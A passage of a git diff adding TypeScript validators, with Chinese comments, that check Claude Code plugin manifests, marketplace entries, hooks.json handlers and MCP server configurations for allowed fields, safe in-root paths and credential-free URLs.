Set([...HOOK_HANDLER_COMMON_FIELDS, 'url', 'headers', 'allowedEnvVars']), + mcp_tool: new Set([...HOOK_HANDLER_COMMON_FIELDS, 'server', 'tool', 'input']), +}); + +/** + * 校验 Claude Code Hook matcher 是可执行的正则字符串。 + * + * @param context Platform validatePackage 生命周期上下文。 + * @param value matcher 候选值。 + * @param fieldPath matcher 在最终 Hook 配置中的字段路径。 + */ +function validateHookMatcher( + context: PlatformValidateContext, + value: JsonValue, + fieldPath: readonly (string | number)[], +): void { + if (typeof value !== 'string') { + report(context, 'CLAUDE_HOOK_MATCHER_INVALID', 'Hook matcher must be a regular-expression string.', fieldPath); + return; + } + try { + /** 构造正则只用于验证平台将要解析的表达式语法。 */ + const expression = new RegExp(value); + void expression; + } catch { + report(context, 'CLAUDE_HOOK_MATCHER_INVALID', 'Hook matcher must be a valid regular expression.', fieldPath); + } +} + +/** + * 校验 Claude Code Hook Handler 的类型、必填字段和公共执行选项。 + * + * @param context Platform validatePackage 生命周期上下文。 + * @param event 当前 Handler 所属事件。 + * @param value Handler 候选值。 + * @param fieldPath Handler 在最终 Hook 配置中的字段路径。 + */ +function validateHookHandler( + context: PlatformValidateContext, + event: string, + value: JsonValue, + fieldPath: readonly (string | number)[], +): void { + if (!isRecord(value)) { + report(context, 'CLAUDE_HOOK_HANDLER_INVALID', 'Hook handlers must be JSON objects.', fieldPath); + return; + } + /** 已完成对象检查的 Handler 类型候选。 */ + const type = value.type; + if (typeof type !== 'string' || !HOOK_HANDLER_TYPES.has(type)) { + report(context, 'CLAUDE_HOOK_HANDLER_TYPE_INVALID', 'Hook handler type is not supported by Claude Code.', [...fieldPath, 'type']); + return; + } + /** 当前事件由官方矩阵允许的 Handler 类型集合;其余事件只接受 command。 */ + const allowedTypes = HOOK_EVENTS_WITH_ALL_HANDLER_TYPES.has(event) + ? HOOK_HANDLER_TYPES + : HOOK_EVENTS_WITH_COMMAND_HTTP_MCP_TYPES.has(event) + ? HOOK_HANDLER_COMMAND_HTTP_MCP_TYPES + : HOOK_EVENTS_WITH_COMMAND_MCP_TYPES.has(event) + ? HOOK_HANDLER_COMMAND_MCP_TYPES + : HOOK_HANDLER_COMMAND_ONLY; + if (!allowedTypes.has(type)) { + report( + context, + 'CLAUDE_HOOK_HANDLER_EVENT_UNSUPPORTED', + `${type} Hook handlers are not supported for Claude Code event "${event}".`, + [...fieldPath, 'type'], + ); + } + /** 当前 Handler 类型对应的官方字段集合。 */ + const fields = HOOK_HANDLER_FIELDS[type]!; + for (const field of Object.keys(value)) { + if (!fields.has(field)) + report(context, 'CLAUDE_HOOK_HANDLER_FIELD_UNKNOWN', `Unknown Claude Code ${type} Hook field "${field}".`, [...fieldPath, field]); + } + /** 当前 Handler 类型要求提供的全部非空字符串目标字段。 */ + const requiredFields = type === 'command' + ? ['command'] + : type === 'http' + ? ['url'] + : type === 'mcp_tool' + ? ['server', 'tool'] + : ['prompt']; + /** requiredField 表示当前类型的一个必填目标字段。 */ + for (const requiredField of requiredFields) { + if (typeof value[requiredField] !== 'string' || value[requiredField].trim().length === 0) { + report(context, 'CLAUDE_HOOK_HANDLER_TARGET_INVALID', `${type} Hook ${requiredField} must be a non-empty string.`, [...fieldPath, requiredField]); + } + } + if (value.args !== undefined + && (!Array.isArray(value.args) || value.args.some(argument => typeof argument !== 'string'))) { + report(context, 'CLAUDE_HOOK_HANDLER_ARGS_INVALID', 'command Hook args must contain only strings.', [...fieldPath, 'args']); + } + if (value.timeout !== undefined + && (typeof value.timeout !== 'number' || !Number.isFinite(value.timeout) || value.timeout <= 0)) { + report(context, 'CLAUDE_HOOK_TIMEOUT_INVALID', 'Hook timeout must be a positive finite number of seconds.', [...fieldPath, 'timeout']); + } else if (event === 'SessionEnd' && typeof value.timeout === 'number' && value.timeout > 60) { + report(context, 'CLAUDE_HOOK_TIMEOUT_LIMIT', 'SessionEnd Hook timeout must not exceed 60 seconds.', [...fieldPath, 'timeout']); + } + if (value.statusMessage !== undefined + && (typeof value.statusMessage !== 'string' || value.statusMessage.trim().length === 0)) { + report(context, 'CLAUDE_HOOK_STATUS_INVALID', 'Hook statusMessage must be a non-empty string.', [...fieldPath, 'statusMessage']); + } + if (value.if !== undefined && (typeof value.if !== 'string' || value.if.trim().length === 0)) + report(context, 'CLAUDE_HOOK_IF_INVALID', 'Hook if must be a non-empty permission rule.', [...fieldPath, 'if']); + if (value.async !== undefined && typeof value.async !== 'boolean') + report(context, 'CLAUDE_HOOK_ASYNC_INVALID', 'command Hook async must be a boolean.', [...fieldPath, 'async']); + if (value.asyncRewake !== undefined && typeof value.asyncRewake !== 'boolean') + report(context, 'CLAUDE_HOOK_ASYNC_REWAKE_INVALID', 'command Hook asyncRewake must be a boolean.', [...fieldPath, 'asyncRewake']); + if (value.once !== undefined && typeof value.once !== 'boolean') + report(context, 'CLAUDE_HOOK_ONCE_INVALID', 'Hook once must be a boolean.', [...fieldPath, 'once']); + if (value.shell !== undefined && value.shell !== 'bash' && value.shell !== 'powershell') + report(context, 'CLAUDE_HOOK_SHELL_INVALID', 'command Hook shell must be bash or powershell.', [...fieldPath, 'shell']); + if (value.model !== undefined && (typeof value.model !== 'string' || value.model.trim().length === 0)) + report(context, 'CLAUDE_HOOK_MODEL_INVALID', 'prompt or agent Hook model must be a non-empty string.', [...fieldPath, 'model']); + if (value.url !== undefined && typeof value.url === 'string') { + try { + /** HTTP Hook 地址允许官方支持的 HTTP(S),但拒绝内联凭据。 */ + const url = new URL(value.url); + if ((url.protocol !== 'http:' && url.protocol !== 'https:') || url.username !== '' || url.password !== '') + throw new TypeError('Unsafe HTTP Hook URL.'); + } catch { + report(context, 'CLAUDE_HOOK_URL_INVALID', 'HTTP Hook url must be an HTTP(S) URL without credentials.', [...fieldPath, 'url']); + } + } + if (value.headers !== undefined + && (!isRecord(value.headers) || Object.values(value.headers).some(header => typeof header !== 'string'))) { + report(context, 'CLAUDE_HOOK_HEADERS_INVALID', 'HTTP Hook headers must map names to string values.', [...fieldPath, 'headers']); + } + if (value.allowedEnvVars !== undefined + && (!Array.isArray(value.allowedEnvVars) + || value.allowedEnvVars.some(variable => typeof variable !== 'string' || variable.trim().length === 0))) { + report(context, 'CLAUDE_HOOK_ENV_INVALID', 'HTTP Hook allowedEnvVars must contain non-empty strings.', [...fieldPath, 'allowedEnvVars']); + } + if (value.input !== undefined && !isRecord(value.input)) + report(context, 'CLAUDE_HOOK_MCP_INPUT_INVALID', 'mcp_tool Hook input must be a JSON object.', [...fieldPath, 'input']); +} + +/** + * 校验 Claude Code Hook 事件映射及其 matcher 分组。 + * + * @param context Platform validatePackage 生命周期上下文。 + * @param value `hooks` 字段中的事件映射候选。 + * @param fieldPath 事件映射在最终配置中的字段路径。 + */ +function validateHookEvents( + context: PlatformValidateContext, + value: JsonValue, + fieldPath: readonly (string | number)[], +): void { + if (!isRecord(value)) { + report(context, 'CLAUDE_HOOK_EVENTS_INVALID', 'hooks must contain an event mapping.', fieldPath); + return; + } + /** [event, groups] 表示当前遍历的原生事件和 matcher 分组。 */ + for (const [event, groups] of Object.entries(value)) { + /** 当前事件在最终配置中的稳定字段路径。 */ + const eventPath = [...fieldPath, event]; + if (!HOOK_EVENTS.has(event)) { + report(context, 'CLAUDE_HOOK_EVENT_UNKNOWN', `Unknown Claude Code Hook event "${event}".`, eventPath); + continue; + } + if (!Array.isArray(groups) || groups.length === 0) { + report(context, 'CLAUDE_HOOK_GROUPS_INVALID', 'Each Hook event must contain one or more matcher groups.', eventPath); + continue; + } + /** [groupIndex, groupValue] 表示当前事件中的 matcher 分组。 */ + for (const [groupIndex, groupValue] of groups.entries()) { + /** 当前 matcher 分组的稳定字段路径。 */ + const groupPath = [...eventPath, groupIndex]; + if (!isRecord(groupValue)) { + report(context, 'CLAUDE_HOOK_GROUP_INVALID', 'Hook matcher groups must be JSON objects.', groupPath); + continue; + } + for (const field of Object.keys(groupValue)) { + if (!HOOK_GROUP_FIELDS.has(field)) + report(context, 'CLAUDE_HOOK_GROUP_FIELD_UNKNOWN', `Unknown Claude Code Hook group field "${field}".`, [...groupPath, field]); + } + if (groupValue.matcher !== undefined) + validateHookMatcher(context, groupValue.matcher, [...groupPath, 'matcher']); + if (!Array.isArray(groupValue.hooks) || groupValue.hooks.length === 0) { + report(context, 'CLAUDE_HOOK_HANDLERS_INVALID', 'Hook matcher groups must contain one or more handlers.', [...groupPath, 'hooks']); + continue; + } + /** [handlerIndex, handler] 表示当前 matcher 分组中的 Handler。 */ + for (const [handlerIndex, handler] of groupValue.hooks.entries()) + validateHookHandler(context, event, handler, [...groupPath, 'hooks', handlerIndex]); + } + } +} + +/** + * 校验 Claude Code `hooks.json` 顶层结构。 + * + * @param context Platform validatePackage 生命周期上下文。 + * @param value 已解析的 Hook 配置对象。 + * @param fieldPath 配置在 Plugin Manifest 中的字段路径。 + * @param wrapped 是否要求配置使用 `hooks.json` 顶层包装。 + */ +export function validateHookConfig( + context: PlatformValidateContext, + value: JsonRecord, + fieldPath: readonly (string | number)[], + wrapped: boolean, +): void { + if (!wrapped && value.hooks === undefined && value.description === undefined) { + validateHookEvents(context, value, fieldPath); + return; + } + for (const field of Object.keys(value)) { + if (!HOOK_CONFIG_FIELDS.has(field)) + report(context, 'CLAUDE_HOOK_CONFIG_FIELD_UNKNOWN', `Unknown Claude Code Hook config field "${field}".`, [...fieldPath, field]); + } + if (value.description !== undefined + && (typeof value.description !== 'string' || value.description.trim().length === 0)) { + report(context, 'CLAUDE_HOOK_DESCRIPTION_INVALID', 'Hook config description must be a non-empty string.', [...fieldPath, 'description']); + } + if (value.hooks === undefined) { + report(context, 'CLAUDE_HOOKS_REQUIRED', 'Hook config must contain a hooks event mapping.', [...fieldPath, 'hooks']); + return; + } + validateHookEvents(context, value.hooks, [...fieldPath, 'hooks']); +} + +/** + * 读取并校验 Plugin 根内被引用的 Claude Code `hooks.json`。 + * + * @param context Platform validatePackage 生命周期上下文。 + * @param pluginRoot Plugin 相对于候选 Distribution 根的安装目录。 + * @param reference 已通过安装根路径规则的 Hook 配置引用。 + * @param fieldPath 引用在 Plugin Manifest 中的字段路径。 + */ +export async function validateHookFile( + context: PlatformValidateContext, + pluginRoot: string, + reference: string, + fieldPath: readonly (string | number)[], +): Promise { + try { + /** Hook 配置引用相对于当前 Plugin 根解析后的绝对候选路径。 */ + const hookPath = path.join(context.candidate.root, pluginRoot, reference.slice(2)); + /** JSON.parse 返回的未知配置值。 */ + const value: unknown = JSON.parse(await fs.readFile(hookPath, 'utf8')); + if (!isRecord(value)) { + report(context, 'CLAUDE_HOOK_CONFIG_OBJECT_REQUIRED', 'Hook config must contain a JSON object.', fieldPath); + return; + } + validateHookConfig(context, value, fieldPath, true); + } catch { + report(context, 'CLAUDE_HOOK_CONFIG_READ_FAILED', 'Hook config reference must contain valid JSON.', fieldPath); + } +} diff --git a/packages/platforms/claude-code/src/package/validation/index.ts b/packages/platforms/claude-code/src/package/validation/index.ts new file mode 100644 index 0000000..5849801 --- /dev/null +++ b/packages/platforms/claude-code/src/package/validation/index.ts @@ -0,0 +1,20 @@ +/** Claude Code 主 Plugin 或 Marketplace Distribution 的 validator 组合入口。 */ +import { MARKETPLACE_MANIFEST_PATH, PLUGIN_MANIFEST_PATH } from '../manifest.js'; +import { validatePluginManifest } from './manifest.js'; +import { validateMarketplace } from './marketplace.js'; +import { readJson, type PlatformValidateContext } from './shared.js'; + +/** 验证 Claude Code 最终安装候选。 */ +export async function validateClaudePackage(context: PlatformValidateContext): Promise { + if (context.candidate.unit.role !== 'distribution') { + /** 主单元始终使用安装根固定 Plugin Manifest。 */ + const plugin = await readJson(context, PLUGIN_MANIFEST_PATH); + if (plugin !== undefined) + await validatePluginManifest(context, plugin); + return; + } + /** Marketplace Distribution 额外需要的根清单。 */ + const marketplace = await readJson(context, MARKETPLACE_MANIFEST_PATH); + if (marketplace !== undefined) + await validateMarketplace(context, marketplace); +} diff --git a/packages/platforms/claude-code/src/package/validation/manifest.ts b/packages/platforms/claude-code/src/package/validation/manifest.ts new file mode 100644 index 0000000..7f53fc9 --- /dev/null +++ b/packages/platforms/claude-code/src/package/validation/manifest.ts @@ -0,0 +1,148 @@ +/** Claude Code Plugin Manifest 与安装根引用 validator。 */ +import type { JsonValue } from '@tokenroll/acplugin/sdk'; +import { validateHookConfig, validateHookFile } from './hooks.js'; +import { validateMcpFile, validateMcpServers } from './mcp.js'; +import { + isRecord, + isSafePluginReference, + referenceExists, + report, + scopedAssets, + type JsonRecord, + type PlatformValidateContext, +} from './shared.js'; + +/** Claude Code Plugin 清单允许出现的官方根字段。 */ +const PLUGIN_FIELDS = new Set([ + '$schema', 'name', 'version', 'description', 'displayName', 'author', 'homepage', 'repository', 'license', + 'keywords', 'metadata', 'defaultEnabled', 'commands', 'agents', 'skills', 'hooks', 'mcpServers', 'lspServers', + 'outputStyles', 'experimental', 'dependencies', +]); + +/** 由当前 Platform 生成并需要执行安装根引用验证的 Component 字段。 */ +const COMPONENT_REFERENCE_FIELDS = ['commands', 'skills', 'agents'] as const; + +/** 允许按路径或内联对象表达的 Extension 字段。 */ +const EXTENSION_REFERENCE_FIELDS = ['hooks', 'mcpServers'] as const; + +/** Claude Code Plugin 名称允许使用的小写 kebab-case 规则。 */ +const PLUGIN_NAME_PATTERN = /^[a-z0-9]+(?:-[a-z0-9]+)*$/; + +/** + * 校验一个清单引用值的类型、安全性和安装根内存在性。 + * + * @param context Platform validatePackage 生命周期上下文。 + * @param assets 当前 Package 的 Asset 路径集合。 + * @param field 当前引用所属的清单字段。 + * @param value 单路径或路径数组候选。 + */ +function validateReferences( + context: PlatformValidateContext, + assets: ReadonlySet, + field: string, + value: JsonValue, +): void { + /** 统一转换后的引用列表,保持清单声明顺序。 */ + const references = typeof value === 'string' + ? [value] + : Array.isArray(value) && value.every(item => typeof item === 'string') + ? value as readonly string[] + : undefined; + if (references === undefined || references.length === 0) { + report(context, 'CLAUDE_MANIFEST_REFERENCE_INVALID', `${field} must be a path or non-empty path array.`, [field]); + return; + } + for (const [index, reference] of references.entries()) { + /** 当前引用在单值或数组字段中的诊断位置。 */ + const fieldPath: readonly (string | number)[] = references.length === 1 ? [field] : [field, index]; + if (!isSafePluginReference(reference)) { + report(context, 'CLAUDE_MANIFEST_REFERENCE_UNSAFE', `${field} references must start with ./ and stay inside the Plugin root.`, fieldPath); + } else if (!referenceExists(assets, reference)) { + report(context, 'CLAUDE_MANIFEST_REFERENCE_MISSING', `${field} references a missing Plugin file or directory.`, fieldPath); + } + } +} + +/** + * 校验 Claude Code Plugin 清单字段、Component 目录和 Extension 引用。 + * + * @param context Platform validatePackage 生命周期上下文。 + * @param manifest 已解析的 Plugin 清单对象。 + * @param pluginRoot Plugin 相对于候选 Distribution 根的安装目录。 + */ +export async function validatePluginManifest( + context: PlatformValidateContext, + manifest: JsonRecord, + pluginRoot = '', +): Promise { + /** 当前 Plugin 安装根内的相对 Asset 路径集合。 */ + const assets = scopedAssets(context, pluginRoot); + for (const field of Object.keys(manifest)) { + if (!PLUGIN_FIELDS.has(field)) + report(context, 'CLAUDE_MANIFEST_FIELD_UNKNOWN', `Unknown Claude Code Plugin field "${field}".`, [field]); + } + /** 必填字符串字段及其期望的非空值。 */ + const required = ['name', 'version', 'description'] as const; + for (const field of required) { + if (typeof manifest[field] !== 'string' || manifest[field].trim().length === 0) + report(context, 'CLAUDE_MANIFEST_FIELD_REQUIRED', `${field} must be a non-empty string.`, [field]); + } + if (typeof manifest.name === 'string' && !PLUGIN_NAME_PATTERN.test(manifest.name)) + report(context, 'CLAUDE_MANIFEST_NAME_INVALID', 'name must use lowercase kebab-case.', ['name']); + /** 可选字符串元数据必须保持非空字符串形态。 */ + const optionalStrings = ['displayName', 'homepage', 'repository', 'license'] as const; + for (const field of optionalStrings) { + if (manifest[field] !== undefined && (typeof manifest[field] !== 'string' || manifest[field].trim().length === 0)) + report(context, 'CLAUDE_MANIFEST_METADATA_INVALID', `${field} must be a non-empty string.`, [field]); + } + if (manifest.author !== undefined) { + /** Plugin 清单中经过对象形态检查的作者字段。 */ + const author = isRecord(manifest.author) ? manifest.author : undefined; + if (author === undefined || typeof author.name !== 'string' || author.name.trim().length === 0) { + report(context, 'CLAUDE_MANIFEST_AUTHOR_INVALID', 'author.name must be a non-empty string.', ['author', 'name']); + } else { + /** author 的可选联系字段只能是非空字符串。 */ + const authorFields = ['email', 'url'] as const; + for (const field of authorFields) { + if (author[field] !== undefined && (typeof author[field] !== 'string' || author[field].trim().length === 0)) + report(context, 'CLAUDE_MANIFEST_AUTHOR_INVALID', `author.${field} must be a non-empty string.`, ['author', field]); + } + } + } + if (manifest.keywords !== undefined + && (!Array.isArray(manifest.keywords) + || manifest.keywords.some(keyword => typeof keyword !== 'string' || keyword.trim().length === 0) + || new Set(manifest.keywords).size !== manifest.keywords.length)) { + report(context, 'CLAUDE_MANIFEST_KEYWORDS_INVALID', 'keywords must contain unique non-empty strings.', ['keywords']); + } + if (manifest.defaultEnabled !== undefined && typeof manifest.defaultEnabled !== 'boolean') + report(context, 'CLAUDE_MANIFEST_DEFAULT_INVALID', 'defaultEnabled must be a boolean.', ['defaultEnabled']); + for (const field of COMPONENT_REFERENCE_FIELDS) { + if (manifest[field] !== undefined) + validateReferences(context, assets, field, manifest[field]); + } + for (const field of EXTENSION_REFERENCE_FIELDS) { + /** 当前 Extension 添加的清单字段值。 */ + const value = manifest[field]; + if (value === undefined) + continue; + if (typeof value === 'string') { + validateReferences(context, assets, field, value); + if (field === 'hooks' && isSafePluginReference(value) && referenceExists(assets, value)) + await validateHookFile(context, pluginRoot, value, [field]); + if (field === 'mcpServers' && isSafePluginReference(value) && referenceExists(assets, value)) + await validateMcpFile(context, pluginRoot, value, [field]); + } else if (!isRecord(value)) { + report(context, 'CLAUDE_EXTENSION_FIELD_INVALID', `${field} must be a Plugin path or inline object.`, [field]); + } else if (field === 'hooks') { + validateHookConfig(context, value, [field], false); + } else { + validateMcpServers(context, value, [field]); + } + } + if (manifest.hooks === undefined && assets.has('hooks/hooks.json')) + await validateHookFile(context, pluginRoot, './hooks/hooks.json', ['hooks']); + /** Claude Code 会自动发现 Plugin 根 `.mcp.json`,即使 Manifest 未显式引用。 */ + if (manifest.mcpServers === undefined && assets.has('.mcp.json')) + await validateMcpFile(context, pluginRoot, './.mcp.json', ['mcpServers']); +} diff --git a/packages/platforms/claude-code/src/package/validation/marketplace.ts b/packages/platforms/claude-code/src/package/validation/marketplace.ts new file mode 100644 index 0000000..2497054 --- /dev/null +++ b/packages/platforms/claude-code/src/package/validation/marketplace.ts @@ -0,0 +1,113 @@ +/** Claude Code Marketplace Distribution validator。 */ +import { PLUGIN_MANIFEST_PATH } from '../manifest.js'; +import { validatePluginManifest } from './manifest.js'; +import { + isRecord, + readJson, + report, + type JsonRecord, + type PlatformValidateContext, +} from './shared.js'; + +/** 多 Plugin Marketplace 的本地来源必须使用稳定单元目录。 */ +const MARKETPLACE_PLUGIN_SOURCE_PATTERN = /^\.\/plugins\/[a-z0-9]+(?:-[a-z0-9]+)*$/; + +/** Claude Code Marketplace 根清单允许出现的官方字段。 */ +const MARKETPLACE_FIELDS = new Set(['name', 'owner', 'description', 'version', 'metadata', 'plugins']); + +/** Claude Code Marketplace 每个 Plugin 条目允许出现的官方字段。 */ +const MARKETPLACE_PLUGIN_FIELDS = new Set([ + 'name', 'source', 'description', 'version', 'author', 'homepage', 'repository', 'license', 'keywords', + 'category', 'tags', 'strict', +]); + +/** + * 校验 Marketplace 根清单与自包含 Plugin 的身份和引用。 + * + * @param context Platform validatePackage 生命周期上下文。 + * @param marketplace 已解析的 Marketplace 清单。 + */ +export async function validateMarketplace( + context: PlatformValidateContext, + marketplace: JsonRecord, +): Promise { + for (const field of Object.keys(marketplace)) { + if (!MARKETPLACE_FIELDS.has(field)) + report(context, 'CLAUDE_MARKETPLACE_FIELD_UNKNOWN', `Unknown Claude Code Marketplace field "${field}".`, [field]); + } + if (typeof marketplace.name !== 'string' || marketplace.name.trim().length === 0) + report(context, 'CLAUDE_MARKETPLACE_NAME_REQUIRED', 'Marketplace name must be a non-empty string.', ['name']); + if (!isRecord(marketplace.owner) || typeof marketplace.owner.name !== 'string' || marketplace.owner.name.trim().length === 0) { + report(context, 'CLAUDE_MARKETPLACE_OWNER_REQUIRED', 'Marketplace owner.name must be present.', ['owner', 'name']); + } else { + /** Marketplace owner 可选联系方式字段。 */ + const ownerFields = ['email', 'url'] as const; + for (const field of ownerFields) { + if (marketplace.owner[field] !== undefined + && (typeof marketplace.owner[field] !== 'string' || marketplace.owner[field].trim().length === 0)) { + report(context, 'CLAUDE_MARKETPLACE_OWNER_INVALID', `Marketplace owner.${field} must be a non-empty string.`, ['owner', field]); + } + } + } + if (typeof marketplace.description !== 'string' || marketplace.description.trim().length === 0) + report(context, 'CLAUDE_MARKETPLACE_DESCRIPTION_REQUIRED', 'Marketplace description must be a non-empty string.', ['description']); + if (typeof marketplace.version !== 'string' || marketplace.version.trim().length === 0) + report(context, 'CLAUDE_MARKETPLACE_VERSION_REQUIRED', 'Marketplace version must be a non-empty string.', ['version']); + if (!isRecord(marketplace.metadata) || marketplace.metadata.pluginRoot !== './') + report(context, 'CLAUDE_MARKETPLACE_ROOT_INVALID', 'Marketplace metadata.pluginRoot must be "./".', ['metadata', 'pluginRoot']); + if (!Array.isArray(marketplace.plugins) + || marketplace.plugins.length === 0 + || marketplace.plugins.some(entry => !isRecord(entry))) { + report(context, 'CLAUDE_MARKETPLACE_PLUGIN_REQUIRED', 'Marketplace must contain one or more Plugin entries.', ['plugins']); + return; + } + /** 已验证来源用于阻止两个条目指向同一 Plugin 根。 */ + const sources = new Set(); + /** 已验证名称用于阻止 Marketplace 内出现选择器歧义。 */ + const names = new Set(); + /** [index, entryValue] 表示当前 Marketplace Plugin 条目。 */ + for (const [index, entryValue] of marketplace.plugins.entries()) { + /** plugins 已经整体通过对象检查后的当前条目。 */ + const entry = entryValue as JsonRecord; + for (const field of Object.keys(entry)) { + if (!MARKETPLACE_PLUGIN_FIELDS.has(field)) + report(context, 'CLAUDE_MARKETPLACE_PLUGIN_FIELD_UNKNOWN', `Unknown Marketplace Plugin field "${field}".`, ['plugins', index, field]); + } + /** 当前条目声明的本地 Plugin 来源。 */ + const source = entry.source; + /** 单项保持兼容根布局,多项必须各自进入稳定 plugins 子目录。 */ + const sourceValid = typeof source === 'string' + && (marketplace.plugins.length === 1 ? source === './' : MARKETPLACE_PLUGIN_SOURCE_PATTERN.test(source)); + if (!sourceValid) { + report(context, 'CLAUDE_MARKETPLACE_SOURCE_INVALID', 'Single-Plugin source must be "./"; multi-Plugin sources must use "./plugins/".', ['plugins', index, 'source']); + continue; + } + if (sources.has(source)) + report(context, 'CLAUDE_MARKETPLACE_SOURCE_DUPLICATE', 'Marketplace Plugin sources must be unique.', ['plugins', index, 'source']); + sources.add(source); + /** `./` 对应 Distribution 根,其余来源去掉协议前缀后作为 Plugin 根。 */ + const pluginRoot = source === './' ? '' : source.slice(2); + /** 当前来源根内必须存在且可解析的 Claude Code Plugin Manifest。 */ + const plugin = await readJson(context, pluginRoot === '' ? PLUGIN_MANIFEST_PATH : `${pluginRoot}/${PLUGIN_MANIFEST_PATH}`); + if (plugin === undefined) + continue; + await validatePluginManifest(context, plugin, pluginRoot); + if (entry.name !== plugin.name || entry.version !== plugin.version || entry.description !== plugin.description) { + report(context, 'CLAUDE_MARKETPLACE_PLUGIN_MISMATCH', 'Marketplace Plugin metadata must match its bundled Plugin manifest.', ['plugins', index]); + } + if (typeof entry.name === 'string') { + /** Marketplace 名称使用平台选择器的大小写敏感规范值。 */ + const name = entry.name; + if (names.has(name)) + report(context, 'CLAUDE_MARKETPLACE_PLUGIN_DUPLICATE', 'Marketplace Plugin names must be unique.', ['plugins', index, 'name']); + names.add(name); + } + if (entry.strict !== true) + report(context, 'CLAUDE_MARKETPLACE_STRICT_REQUIRED', 'Self-contained Marketplace Plugins must use strict: true.', ['plugins', index, 'strict']); + // 当前单 Plugin 兼容布局继续要求 Marketplace 根元数据与唯一 Plugin 一致。 + if (marketplace.plugins.length === 1 + && (marketplace.description !== plugin.description || marketplace.version !== plugin.version)) { + report(context, 'CLAUDE_MARKETPLACE_METADATA_MISMATCH', 'Single-Plugin Marketplace description and version must match the bundled Plugin.', []); + } + } +} diff --git a/packages/platforms/claude-code/src/package/validation/mcp.ts b/packages/platforms/claude-code/src/package/validation/mcp.ts new file mode 100644 index 0000000..f6fb4b2 --- /dev/null +++ b/packages/platforms/claude-code/src/package/validation/mcp.ts @@ -0,0 +1,135 @@ +/** Claude Code MCP wire contract validator。 */ +import { promises as fs } from 'node:fs'; +import path from 'node:path'; +import type { JsonValue } from '@tokenroll/acplugin/sdk'; +import { + isRecord, + report, + type PlatformValidateContext, +} from './shared.js'; + +/** MCP Server key 使用与 Plugin 身份一致的稳定 lowercase-kebab 规则。 */ +const PLUGIN_NAME_PATTERN = /^[a-z0-9]+(?:-[a-z0-9]+)*$/; + +/** Claude Code MCP 配置文件唯一允许的包装字段。 */ +const MCP_CONFIG_FIELDS = new Set(['mcpServers']); + +/** Claude Code Plugin-local stdio MCP descriptor 字段。 */ +const MCP_STDIO_FIELDS = new Set(['type', 'command', 'args', 'env']); + +/** Claude Code 远程 HTTP MCP descriptor 字段。 */ +const MCP_HTTP_FIELDS = new Set(['type', 'url', 'headers', 'oauth']); + +/** 校验字符串映射,不允许 headers/env 退化为任意 JSON。 */ +function validateStringMap( + context: PlatformValidateContext, + value: JsonValue | undefined, + code: string, + label: string, + fieldPath: readonly (string | number)[], +): void { + if (value !== undefined && (!isRecord(value) + || Object.entries(value).some(([key, entry]) => key.trim().length === 0 || typeof entry !== 'string'))) { + report(context, code, `${label} must map non-empty names to string values.`, fieldPath); + } +} + +/** 校验 Claude Code 最终将加载的 MCP Server 映射。 */ +export function validateMcpServers( + context: PlatformValidateContext, + value: JsonValue, + fieldPath: readonly (string | number)[], +): void { + if (!isRecord(value)) { + report(context, 'CLAUDE_MCP_SERVERS_INVALID', 'mcpServers must contain a Server object mapping.', fieldPath); + return; + } + for (const [id, candidate] of Object.entries(value)) { + /** 当前 Server 在最终配置中的字段路径。 */ + const serverPath = [...fieldPath, id]; + if (!PLUGIN_NAME_PATTERN.test(id) || !isRecord(candidate)) { + report(context, 'CLAUDE_MCP_SERVER_INVALID', 'MCP Server ids must use lowercase kebab-case and map to objects.', serverPath); + continue; + } + /** type 决定 stdio 与 HTTP 的精确字段集合。 */ + const fields = candidate.type === 'stdio' + ? MCP_STDIO_FIELDS + : candidate.type === 'http' + ? MCP_HTTP_FIELDS + : undefined; + if (fields === undefined) { + report(context, 'CLAUDE_MCP_TRANSPORT_INVALID', 'MCP Server type must be stdio or http.', [...serverPath, 'type']); + continue; + } + for (const field of Object.keys(candidate)) { + if (!fields.has(field)) + report(context, 'CLAUDE_MCP_FIELD_UNKNOWN', `Unknown Claude Code MCP field "${field}".`, [...serverPath, field]); + } + if (candidate.type === 'stdio') { + if (typeof candidate.command !== 'string' || candidate.command.trim().length === 0) + report(context, 'CLAUDE_MCP_COMMAND_INVALID', 'stdio MCP command must be a non-empty string.', [...serverPath, 'command']); + if (candidate.args !== undefined + && (!Array.isArray(candidate.args) || candidate.args.some(argument => typeof argument !== 'string'))) { + report(context, 'CLAUDE_MCP_ARGS_INVALID', 'stdio MCP args must contain only strings.', [...serverPath, 'args']); + } + validateStringMap(context, candidate.env, 'CLAUDE_MCP_ENV_INVALID', 'stdio MCP env', [...serverPath, 'env']); + continue; + } + if (typeof candidate.url !== 'string') { + report(context, 'CLAUDE_MCP_URL_INVALID', 'HTTP MCP url must be an HTTP(S) URL without credentials.', [...serverPath, 'url']); + } else { + try { + /** 远程地址不得把凭据内联到 URL。 */ + const url = new URL(candidate.url); + if ((url.protocol !== 'http:' && url.protocol !== 'https:') || url.username !== '' || url.password !== '') + throw new TypeError('unsafe'); + } catch { + report(context, 'CLAUDE_MCP_URL_INVALID', 'HTTP MCP url must be an HTTP(S) URL without credentials.', [...serverPath, 'url']); + } + } + validateStringMap(context, candidate.headers, 'CLAUDE_MCP_HEADERS_INVALID', 'HTTP MCP headers', [...serverPath, 'headers']); + if (candidate.oauth !== undefined) { + if (!isRecord(candidate.oauth)) { + report(context, 'CLAUDE_MCP_OAUTH_INVALID', 'HTTP MCP oauth must be an object.', [...serverPath, 'oauth']); + } else { + for (const field of Object.keys(candidate.oauth)) { + if (field !== 'scopes') + report(context, 'CLAUDE_MCP_OAUTH_FIELD_UNKNOWN', `Unknown Claude Code MCP OAuth field "${field}".`, [...serverPath, 'oauth', field]); + } + if (candidate.oauth.scopes !== undefined + && (typeof candidate.oauth.scopes !== 'string' || candidate.oauth.scopes.trim().length === 0)) { + report(context, 'CLAUDE_MCP_OAUTH_INVALID', 'HTTP MCP oauth.scopes must be a non-empty string.', [...serverPath, 'oauth', 'scopes']); + } + } + } + } +} + +/** 读取并校验 Plugin 根内被引用的 Claude Code MCP 配置。 */ +export async function validateMcpFile( + context: PlatformValidateContext, + pluginRoot: string, + reference: string, + fieldPath: readonly (string | number)[], +): Promise { + try { + /** MCP 配置引用相对于当前 Plugin 根解析。 */ + const mcpPath = path.join(context.candidate.root, pluginRoot, reference.slice(2)); + /** 被引用文件必须使用 `{ mcpServers }` 包装。 */ + const value: unknown = JSON.parse(await fs.readFile(mcpPath, 'utf8')); + if (!isRecord(value)) { + report(context, 'CLAUDE_MCP_CONFIG_INVALID', 'MCP config must contain a JSON object.', fieldPath); + return; + } + for (const field of Object.keys(value)) { + if (!MCP_CONFIG_FIELDS.has(field)) + report(context, 